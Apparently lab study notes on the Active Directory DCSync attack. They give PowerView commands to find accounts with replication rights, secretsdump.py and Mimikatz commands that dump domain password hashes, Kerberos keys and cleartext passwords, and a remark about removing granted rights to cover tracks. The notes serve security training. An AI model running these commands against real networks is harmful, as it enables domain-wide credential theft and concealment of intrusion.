DCSync
- DCSync is stealing the Active Directory password database by using the built-in
Directory Replication Service Remote Protocol- This protocol is used by DCs to replicate domain data
- mimic a domain controller to retrieve any domain user's NTLM password hash
- ATTACK - requesting a Domain Controller to replicate passwords via the
DS-Replication-Get-Changes-Allextended right - Domain/Enterprise Admins and default domain administrators have this right by default.
- a user with the Replicating Directory Changes and Replicating Directory Changes All permissions set is required otherwise
Requirement for DCSync
- If a user has DS-Replication-Get-Changes and DS-Replication-Get-Changes-In-Filtered-Set over objects
View Group Membership of a user
Get-DomainUser -Identity adunn |select samaccountname,objectsid,memberof,useraccountcontrol |fl- Get the
SIDfrom this account
- Get the
Check user's rights for the above requirements
- Check if the user has
DS-Replication-Get-ChangesandDS-Replication-Get-Changes-In-Filtered-Setover objects $sid = Convert-NameToSid wleyGet-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}ORGet-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl- Check for
Replicating Directory Changes | Replicating Directory Changes All
- Check for
- If we had certain rights over the user (such as WriteDacl), we could also add this privilege to a user under our control, execute the DCSync attack, and then remove the privileges to attempt to cover our tracks.
- Replication can be performed using
Mimikatz, Invoke-DCSybnc, and Impackets secretsdump.py
secretsdump.py
Extract NTLM hashes and kerberos keys - secretsdump.py
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5- save files to
inlanefreight_hashes -just-dc: get NTLM hashes and kerberos keys from the NTDS file-just-dc-ntlm: only get the NTLM hashes-just-dc-user <USERNAME>: request data for a specific user-history: dump password history-pwd-last-set: password last changed/set-user-status: disabled or enabled user
- save files to
- The files created with
-just-dcflag will be 3 files:- NTLM hashes
- Kerberos keys
- clear text passwords from NTDS for accounts with reversible encryption enabled
secretsdump.pywill decrypt any passwords with reversible encryption enabled
Enumerate accounts with Reversible Encryption
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
Using Powerview
- Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Mimikatz
- target a specific user
- Windows alternative to
su user - run as the user having the DCSync privilege
runas /netonly /user:INLANEFREIGHT\adunn powershell
- If the above does not say
whoami> adunn runas /netonly /user:INLANEFREIGHT\adunn "C:\Tools\mimikatz.exe"
Attack
.\mimikatz.exeprivilege::debuglsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator